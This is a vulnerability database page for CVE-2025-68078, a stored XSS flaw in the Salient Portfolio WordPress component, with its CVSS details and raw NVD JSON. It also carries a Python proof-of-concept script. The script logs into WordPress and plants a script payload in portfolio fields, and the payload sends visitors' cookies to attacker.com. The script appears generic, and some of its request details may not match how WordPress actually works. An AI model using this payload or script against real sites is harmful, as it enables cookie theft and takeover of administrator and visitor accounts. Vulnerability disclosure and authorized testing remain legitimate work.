Security Vulnerability Report
中文
CVE-2025-68078 CVSS 6.5 MEDIUM

CVE-2025-68078

Published: 2025-12-16 09:16:03
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeNectar Salient Portfolio salient-portfolio allows Stored XSS.This issue affects Salient Portfolio: from n/a through <= 1.8.2.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Salient Portfolio <= 1.8.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-68078 PoC - Salient Portfolio Stored XSS # Target: WordPress site with vulnerable Salient Portfolio theme (<=1.8.2) target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com" username = "attacker_account" password = "attacker_password" session = requests.Session() # Step 1: Login to WordPress admin login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/" } response = session.post(login_url, data=login_data) if "wordpress_logged_in" not in str(session.cookies): print("[-] Login failed") exit(1) print("[+] Login successful") # Step 2: Create new Portfolio with XSS payload # XSS Payload: Steals admin cookies xss_payload = "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" # Find Portfolio post creation URL (may vary by theme version) create_url = f"{target_url}/wp-admin/post-new.php?post_type=portfolio" portfolio_data = { "post_title": f"Portfolio Item {xss_payload}", "post_content": f"Description with {xss_payload}", "_portfolio_category": f"Category{xss_payload}", "publish": "Publish" } response = session.post(create_url, data=portfolio_data) if response.status_code == 200: print("[+] Malicious Portfolio item created successfully") print(f"[+] XSS Payload stored: {xss_payload}") print("[+] Any user viewing the Portfolio page will trigger the XSS") else: print("[-] Failed to create Portfolio item")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68078", "sourceIdentifier": "[email protected]", "published": "2025-12-16T09:16:02.817", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeNectar Salient Portfolio salient-portfolio allows Stored XSS.This issue affects Salient Portfolio: from n/a through <= 1.8.2."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/salient-portfolio/vulnerability/wordpress-salient-portfolio-theme-1-8-2-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}